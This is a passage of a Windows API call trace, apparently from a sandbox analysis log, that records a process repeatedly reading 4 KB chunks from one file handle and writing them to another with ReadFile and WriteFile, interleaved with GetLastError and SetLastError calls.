[0077.868] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.868] GetLastError () returned 0x0
[0077.868] SetLastError (dwErrCode=0x0)
[0077.868] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.869] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.869] GetLastError () returned 0x0
[0077.869] SetLastError (dwErrCode=0x0)
[0077.869] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.869] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.869] GetLastError () returned 0x0
[0077.869] SetLastError (dwErrCode=0x0)
[0077.869] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.869] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.869] GetLastError () returned 0x0
[0077.869] SetLastError (dwErrCode=0x0)
[0077.870] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.870] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.870] GetLastError () returned 0x0
[0077.870] SetLastError (dwErrCode=0x0)
[0077.870] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.870] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.870] GetLastError () returned 0x0
[0077.870] SetLastError (dwErrCode=0x0)
[0077.870] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.870] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.871] GetLastError () returned 0x0
[0077.871] SetLastError (dwErrCode=0x0)
[0077.871] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.871] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.871] GetLastError () returned 0x0
[0077.871] SetLastError (dwErrCode=0x0)
[0077.871] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.871] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.871] GetLastError () returned 0x0
[0077.871] SetLastError (dwErrCode=0x0)
[0077.872] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.872] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.872] GetLastError () returned 0x0
[0077.872] SetLastError (dwErrCode=0x0)
[0077.872] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.872] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.872] GetLastError () returned 0x0
[0077.872] SetLastError (dwErrCode=0x0)
[0077.872] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.872] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.873] GetLastError () returned 0x0
[0077.873] SetLastError (dwErrCode=0x0)
[0077.873] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.873] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.873] GetLastError () returned 0x0
[0077.873] SetLastError (dwErrCode=0x0)
[0077.873] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.873] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.873] GetLastError () returned 0x0
[0077.873] SetLastError (dwErrCode=0x0)
[0077.874] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.874] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.874] GetLastError () returned 0x0
[0077.874] SetLastError (dwErrCode=0x0)
[0077.874] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.874] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.874] GetLastError () returned 0x0
[0077.874] SetLastError (dwErrCode=0x0)
[0077.874] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.874] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.875] GetLastError () returned 0x0
[0077.875] SetLastError (dwErrCode=0x0)
[0077.875] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.875] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.875] GetLastError () returned 0x0
[0077.875] SetLastError (dwErrCode=0x0)
[0077.875] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.875] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.875] GetLastError () returned 0x0
[0077.875] SetLastError (dwErrCode=0x0)
[0077.875] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.876] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.876] GetLastError () returned 0x0
[0077.876] SetLastError (dwErrCode=0x0)
[0077.876] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.876] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.876] GetLastError () returned 0x0
[0077.876] SetLastError (dwErrCode=0x0)
[0077.876] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.876] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.877] GetLastError () returned 0x0
[0077.877] SetLastError (dwErrCode=0x0)
[0077.877] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.877] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.877] GetLastError () returned 0x0
[0077.877] SetLastError (dwErrCode=0x0)
[0077.877] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.877] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.877] GetLastError () returned 0x0
[0077.877] SetLastError (dwErrCode=0x0)
[0077.877] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.878] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.878] GetLastError () returned 0x0
[0077.878] SetLastError (dwErrCode=0x0)
[0077.878] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.878] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.878] GetLastError () returned 0x0
[0077.878] SetLastError (dwErrCode=0x0)
[0077.878] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.878] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.878] GetLastError () returned 0x0
[0077.878] SetLastError (dwErrCode=0x0)
[0077.879] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.879] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.879] GetLastError () returned 0x0
[0077.879] SetLastError (dwErrCode=0x0)
[0077.879] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.879] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.879] GetLastError () returned 0x0
[0077.879] SetLastError (dwErrCode=0x0)
[0077.879] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.879] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.880] GetLastError () returned 0x0
[0077.880] SetLastError (dwErrCode=0x0)
[0077.880] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.880] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.880] GetLastError () returned 0x0
[0077.880] SetLastError (dwErrCode=0x0)
[0077.880] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.880] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.880] GetLastError () returned 0x0
[0077.880] SetLastError (dwErrCode=0x0)
[0077.881] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.881] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.881] GetLastError () returned 0x0
[0077.881] SetLastError (dwErrCode=0x0)
[0077.881] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.881] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.881] GetLastError () returned 0x0
[0077.881] SetLastError (dwErrCode=0x0)
[0077.881] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.882] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.882] GetLastError () returned 0x0
[0077.882] SetLastError (dwErrCode=0x0)
[0077.882] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.882] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.882] GetLastError () returned 0x0
[0077.882] SetLastError (dwErrCode=0x0)
[0077.882] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.882] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.882] GetLastError () returned 0x0
[0077.882] SetLastError (dwErrCode=0x0)
[0077.883] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.883] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.883] GetLastError () returned 0x0
[0077.883] SetLastError (dwErrCode=0x0)
[0077.883] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.884] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.885] GetLastError () returned 0x0
[0077.885] SetLastError (dwErrCode=0x0)
[0077.885] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.885] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.885] GetLastError () returned 0x0
[0077.885] SetLastError (dwErrCode=0x0)
[0077.885] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.886] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.886] GetLastError () returned 0x0
[0077.886] SetLastError (dwErrCode=0x0)
[0077.886] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.886] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.886] GetLastError () returned 0x0
[0077.886] SetLastError (dwErrCode=0x0)
[0077.886] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.886] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.886] GetLastError () returned 0x0
[0077.886] SetLastError (dwErrCode=0x0)
[0077.887] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
